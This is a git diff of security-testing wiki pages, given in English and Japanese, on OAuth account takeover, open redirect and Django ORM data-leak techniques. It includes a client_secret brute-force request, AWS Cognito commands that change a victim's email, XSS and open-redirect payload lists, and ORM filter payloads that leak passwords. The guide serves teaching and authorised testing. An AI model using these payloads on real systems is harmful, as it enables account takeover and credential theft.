2. The site then sends a request to [https://socialmedia.com](https://socialmedia.com) asking for your authorization to let https://example.coms application access your posts. The request is structured as:
**実際のOAuthフロー**は次のように進行します:
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。このリクエストは次のように構成されます:
```
https://socialmedia.com/auth
?response_type=code
@ -44,70 +43,62 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. You are then presented with a consent page.
4. Following your approval, Social Media sends a response to the `redirect_uri` with the `code` and `state` parameters:
3. 次に、同意ページが表示されます。
4. あなたの承認に続いて、Social Mediaは`redirect_uri``code``state`パラメータを含むレスポンスを送信します:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com utilizes this `code`, together with its `client_id` and `client_secret`, to make a server-side request to obtain an `access_token` on your behalf, enabling access to the permissions you consented to:
5. https://example.com はこの `code` を使用し、`client_id``client_secret` と共に、あなたの代わりに `access_token` を取得するためにサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。
6. Finally, the process concludes as https://example.com employs your `access_token` to make an API call to Social Media to access
## 脆弱性 <a href="#id-323a" id="id-323a"></a>
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
### オープンリダイレクト_uri <a href="#cc36" id="cc36"></a>
### Open redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードのような機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトすることを許可し、アカウントの乗っ取りを可能にします。
The `redirect_uri` is crucial for security in OAuth and OpenID implementations, as it directs where sensitive data, like authorization codes, are sent post-authorization. If misconfigured, it could allow attackers to redirect these requests to malicious servers, enabling account takeover.
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまでさまざまです。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。
Exploitation techniques vary based on the authorization server's validation logic. They can range from strict path matching to accepting any URL within the specified domain or subdirectory. Common exploitation methods include open redirects, path traversal, exploiting weak regexes, and HTML injection for token theft.
`redirect_uri` の他にも、`client_uri``policy_uri``tos_uri``initiate_login_uri` などの他の OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
Besides `redirect_uri`, other OAuth and OpenID parameters like `client_uri`, `policy_uri`, `tos_uri`, and `initiate_login_uri` are also susceptible to redirection attacks. These parameters are optional and their support varies across servers.
OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint``request_uri_parameter_supported`、および "`require_request_uri_registration`" のような貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
For those targeting an OpenID server, the discovery endpoint (`**.well-known/openid-configuration**`) often lists valuable configuration details like `registration_endpoint`, `request_uri_parameter_supported`, and "`require_request_uri_registration`. These details can aid in identifying the registration endpoint and other configuration specifics of the server.
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test:
### リダイレクト実装における XSS <a href="#bda5" id="bda5"></a>
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - 不適切な状態パラメータの取り扱い <a href="#bda5" id="bda5"></a>
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリCSRF**攻撃のリスクを大幅に高める可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
In OAuth implementations, the misuse or omission of the **`state` parameter** can significantly increase the risk of **Cross-Site Request Forgery (CSRF)** attacks. This vulnerability arises when the `state` parameter is either **not used, used as a static value, or not properly validated**, allowing attackers to bypass CSRF protections.
攻撃者は、認可プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることで、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
Attackers can exploit this by intercepting the authorization process to link their account with a victim's account, leading to potential **account takeovers**. This is especially critical in applications where OAuth is used for **authentication purposes**.
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響を強調しています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
Real-world examples of this vulnerability have been documented in various **CTF challenges** and **hacking platforms**, highlighting its practical implications. The issue also extends to integrations with third-party services like **Slack**, **Stripe**, and **PayPal**, where attackers can redirect notifications or payments to their accounts.
**`state`パラメータ**の適切な取り扱いと検証は、CSRFから保護し、OAuthフローを安全に保つために重要です。
Proper handling and validation of the **`state` parameter** are crucial for safeguarding against CSRF and securing the OAuth flow.
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを利用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することで悪用する可能性があります。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
1. **Without Email Verification on Account Creation**: Attackers can preemptively create an account using the victim's email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker's pre-created account, leading to unauthorized access.
2. **Exploiting Lax OAuth Email Verification**: Attackers may exploit OAuth services that don't verify emails by registering with their service and then changing the account email to the victim's. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
### 秘密の開示 <a href="#e177" id="e177"></a>
### Disclosure of Secrets <a href="#e177" id="e177"></a>
秘密のOAuthパラメータを特定し保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすることは重大なリスクを伴います。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して**ユーザーの`access_tokens`**やプライベート情報を**盗む**ことができます。
Identifying and protecting secret OAuth parameters is crucial. While the **`client_id`** can be safely disclosed, revealing the **`client_secret`** poses significant risks. If the `client_secret` is compromised, attackers can exploit the identity and trust of the application to **steal user `access_tokens`** and private information.
一般的な脆弱性は、アプリケーションが認可`code``access_token`に交換する際に、クライアント側ではなくサーバー側で誤って処理することから生じます。この誤りは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの名義で`access_tokens`を生成できるようにします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで権限をエスカレートし、アプリケーションの信頼された地位をさらに悪用することができます。
A common vulnerability arises when applications mistakenly handle the exchange of the authorization `code` for an `access_token` on the client-side rather than the server-side. This mistake leads to the exposure of the `client_secret`, enabling attackers to generate `access_tokens` under the guise of the application. Moreover, through social engineering, attackers could escalate privileges by adding additional scopes to the OAuth authorization, further exploiting the application's trusted status.
### Client Secret Bruteforce
You can try to **bruteforce the client_secret** of a service provider with the identity provider in order to be try to steal accounts.\
The request to BF may look similar to:
### クライアントシークレットブルートフォース
サービスプロバイダーのクライアントシークレットをブルートフォースしてアカウントを盗むことを試みることができます。\
BFへのリクエストは次のようになる可能性があります:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -117,31 +108,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Header leaking Code + State
Once the client has the **code and state**, if it's **reflected inside the Referer header** when he browses to a different page, then it's vulnerable.
クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダーに反映されている**と、脆弱です。
### Access Token Stored in Browser History
Go to the **browser history and check if the access token is saved in there**.
**ブラウザの履歴にアクセス トークンが保存されているか確認してください**。
### Everlasting Authorization Code
The **authorization code should live just for some time to limit the time window where an attacker can steal and use it**.
**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、しばらくの間だけ存在するべきです**。
### Authorization/Refresh Token not bound to client
If you can get the **authorization code and use it with a different client then you can takeover other accounts**.
**認可コードを取得し、異なるクライアントで使用できる場合、他のアカウントを乗っ取ることができます**。
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
[**Check this post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
[**この投稿を確認してください**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito <a href="#bda5" id="bda5"></a>
In this bug bounty report: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) you can see that the **token** that **AWS Cognito** gives back to the user might have **enough permissions to overwrite the user data**. Therefore, if you can **change the user email for a different user email**, you might be able to **take over** others accounts.
このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**は、**ユーザーデータを上書きするのに十分な権限を持っている可能性があります**。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -149,87 +138,86 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
```
For more detailed info about how to abuse AWS cognito check:
AWS Cognitoを悪用する方法の詳細については、次を確認してください:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
### 他のアプリのトークンを悪用する <a href="#bda5" id="bda5"></a>
As [**mentioned in this writeup**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth flows that expect to receive the **token** (and not a code) could be vulnerable if they not check that the token belongs to the app.
[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**コードではなくを受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
This is because an **attacker** could create an **application supporting OAuth and login with Facebook** (for example) in his own application. Then, once a victim logins with Facebook in the **attackers application**, the attacker could get the **OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token**.
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**自分のアプリケーションに与えられたユーザーのOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションに被害者のユーザートークンでログインすることができます**。
> [!CAUTION]
> Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren't checking if the token was granted to their app ID.
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができるでしょう。
### Two links & cookie <a href="#bda5" id="bda5"></a>
### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a>
According to [**this writeup**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), it was possible to make a victim open a page with a **returnUrl** pointing to the attackers host. This info would be **stored in a cookie (RU)** and in a **later step** the **prompt** will **ask** the **user** if he wants to give access to that attackers host.
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキーRU**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
To bypass this prompt, it was possible to open a tab to initiate the **Oauth flow** that would set this RU cookie using the **returnUrl**, close the tab before the prompt is shown, and open a new tab without that value. Then, the **prompt won't inform about the attackers host**, but the cookie would be set to it, so the **token will be sent to the attackers host** in the redirection.
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
### プロンプトインタラクションバイパス <a href="#bda5" id="bda5"></a>
As explained in [**this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), some OAuth implementations allows to indicate the **`prompt`** GET parameter as None (**`&prompt=none`**) to **prevent users being asked to confirm** the given access in a prompt in the web if they are already logged in the platform.
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone**`&prompt=none`**)として指定することで、ユーザーがプラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するように求められないようにすることができます。
### response_mode
As [**explained in this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), it might be possible to indicate the parameter **`response_mode`** to indicate where do you want the code to be provided in the final URL:
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、最終URLでコードを提供したい場所を示すために**`response_mode`**パラメータを指定することが可能です:
- `response_mode=query` -> The code is provided inside a GET parameter: `?code=2397rf3gu93f`
- `response_mode=fragment` -> The code is provided inside the URL fragment parameter `#code=2397rf3gu93f`
- `response_mode=form_post` -> The code is provided inside a POST form with an input called `code` and the value
- `response_mode=web_message` -> The code is send in a post message: `window.opener.postMessage({"code": "asdasdasd...`
- `response_mode=query` -> コードはGETパラメータ内に提供されます: `?code=2397rf3gu93f`
- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます `#code=2397rf3gu93f`
- `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます
- `response_mode=web_message` -> コードはポストメッセージで送信されます: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
### OAuth ROPCフロー - 2FAバイパス <a href="#b440" id="b440"></a>
According to [**this blog post**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), this is an OAuth flow that allows to login in OAuth via **username** and **password**. If during this simple flow a **token** with access to all the actions the user can perform is returned then it's possible to bypass 2FA using that token.
[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
### オープンリダイレクトに基づくウェブページのリダイレクトでのATO <a href="#bda5" id="bda5"></a>
This [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comments how it was possible to abuse an **open redirect** to the value from the **referrer** to abuse OAuth to ATO. The attack was:
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです
1. Victim access the attackers web page
2. The victim opens the malicious link and an opener starts the Google OAuth flow with `response_type=id_token,code&prompt=none` as additional parameters using as **referrer the attackers website**.
3. In the opener, after the provider authorizes the victim, it sends them back to the value of the `redirect_uri` parameter (victim web) with 30X code which still keeps the attackers website in the referer.
4. The victim **website trigger the open redirect based on the referrer** redirecting the victim user to the attackers website, as the **`respose_type`** was **`id_token,code`**, the code will be sent back to the attacker in the **fragment** of the URL allowing him to tacke over the account of the user via Google in the victims site.
1. 被害者が攻撃者のウェブページにアクセスします
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
3. オープナーで、プロバイダーが被害者を認可すると、`redirect_uri`パラメータの値被害者のウェブに30Xコードで戻しますが、リファラーには攻撃者のウェブサイトが残ります。
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
### SSRFs parameters <a href="#bda5" id="bda5"></a>
### SSRFのパラメータ <a href="#bda5" id="bda5"></a>
[**Check this research**](https://portswigger.net/research/hidden-oauth-attack-vectors) **For further details of this technique.**
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for **Server-Side Request Forgery (SSRF)** attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
OAuthにおける動的クライアント登録は、特に**サーバーサイドリクエストフォージェリSSRF**攻撃に対するセキュリティ脆弱性の重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。
**Key Points:**
**重要なポイント:**
- **Dynamic Client Registration** is often mapped to `/register` and accepts details like `client_name`, `client_secret`, `redirect_uris`, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
- This feature adheres to specifications laid out in **RFC7591** and **OpenID Connect Registration 1.0**, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
- **`logo_uri`**: A URL for the client application's logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
- **`jwks_uri`**: A URL to the client's JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
- **`sector_identifier_uri`**: References a JSON array of `redirect_uris`, which the server might fetch, creating an SSRF opportunity.
- **`request_uris`**: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name``client_secret``redirect_uris`、ロゴやJSON Web Key SetsJWKsのURLなどの詳細をPOSTリクエストで受け入れます。
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります
- **`logo_uri`**: サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。
- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。
- **`sector_identifier_uri`**: サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
- **`request_uris`**: クライアントのために許可されたリクエストURIのリストで、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
**Exploitation Strategy:**
**悪用戦略:**
- SSRF can be triggered by registering a new client with malicious URLs in parameters like `logo_uri`, `jwks_uri`, or `sector_identifier_uri`.
- While direct exploitation via `request_uris` may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled `request_uri` can facilitate SSRF during the authorization phase.
- SSRFは、`logo_uri``jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
## OAuth providers Race Conditions
## OAuthプロバイダーのレース条件
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md).
テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。
## References
## 参考文献
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
@ -239,4 +227,3 @@ If the platform you are testing is an OAuth provider [**read this to test for po
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,23 +1,22 @@
# Open Redirect
# オープンリダイレクト
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
**モバイルセキュリティ**の専門知識を深めるために8kSecアカデミーをご利用ください。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう
{% embed url="https://academy.8ksec.io/" %}
## Open redirect
## オープンリダイレクト
### Redirect to localhost or arbitrary domains
### localhostまたは任意のドメインへのリダイレクト
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Open Redirect to XSS
### XSSへのオープンリダイレクト
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -63,9 +62,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect uploading svg files
## Open Redirect SVGファイルのアップロード
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -75,9 +72,7 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## Common injection parameters
## 一般的なインジェクションパラメータ
```
/{payload}
?next={payload}
@ -152,23 +147,17 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
## Code examples
## コード例
#### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### Java
#### ジャバ
```bash
response.redirect("http://mysafedomain.com");
```
#### PHP
```php
<?php
/* browser redirections*/
@ -176,23 +165,21 @@ header("Location: http://mysafedomain.com");
exit;
?>
```
## Tools
## ツール
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
## Resources
## リソース
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ではファジングリストを見つけることができます。\\
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,62 +4,54 @@
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます。
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
"""
ユーザーが記事を検索するためにリクエストを送信する基本的なAPIビュー
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Note how all the request.data (which will be a json) is directly passed to **filter objects from the database**. An attacker could send unexpected filters in order to leak more data than expected from it.
すべてのrequest.dataこれはjsonになりますが**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、期待以上のデータを漏洩させることができます。
Examples:
- **Login:** In a simple login try to leak the passwords of the users registered inside of it.
例:
- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
```json
{
"username": "admin",
"password_startswith": "a"
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> It's possible to brute-force the password until it's leaked.
- **Relational filtering**: It's possible to traverse relations in order to leak information from columns that weren't even expected to be used in the operation. For example, if it's possible to leak articles created by a user withe these relations: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
> パスワードをブルートフォースして漏洩させることが可能です。
- **リレーショナルフィルタリング**: 操作で使用されることすら予期されていなかったカラムから情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> It's possible to find the password of all the users that have created an article
- **Many-to-many relational filtering**: In the previous example we couldn't find passwords of users that haven't created an article. However, following other relationships this is possible. For example: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
> すべての記事を作成したユーザーのパスワードを見つけることが可能です。
- **多対多のリレーショナルフィルタリング**: 前の例では、記事を作成していないユーザーのパスワードを見つけることができませんでした。しかし、他のリレーションシップに従うことで、これは可能です。例えば: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> In this case we can find all the users in the departments of users that have created articles and then leak their passwords (in the previous json we are just leaking the usernames but then it's possible to leak the passwords).
- **Abusing Django Group and Permission many-to-may relations with users**: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some **many-to-many relationships with the Permission and Group tables**. Which basically is a default way to **access other users from one user** if they are in the **same group or share the same permission**.
> この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です
- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスする**ためのデフォルトの方法です。
```bash
# By users in the same group
created_by__user__groups__user__password
@ -67,268 +59,242 @@ created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **Bypass filter restrictions**: The same blogpost proposed to bypass the use of some filtering like `articles = Article.objects.filter(is_secret=False, **request.data)`. t's possible to dump articles that have is_secret=True because we can loop back from a relationship to the Article table and leak secret articles from non secret articles because the results are joined and the is_secret field is checked in the non secret article while the data is leaked from the secret article.
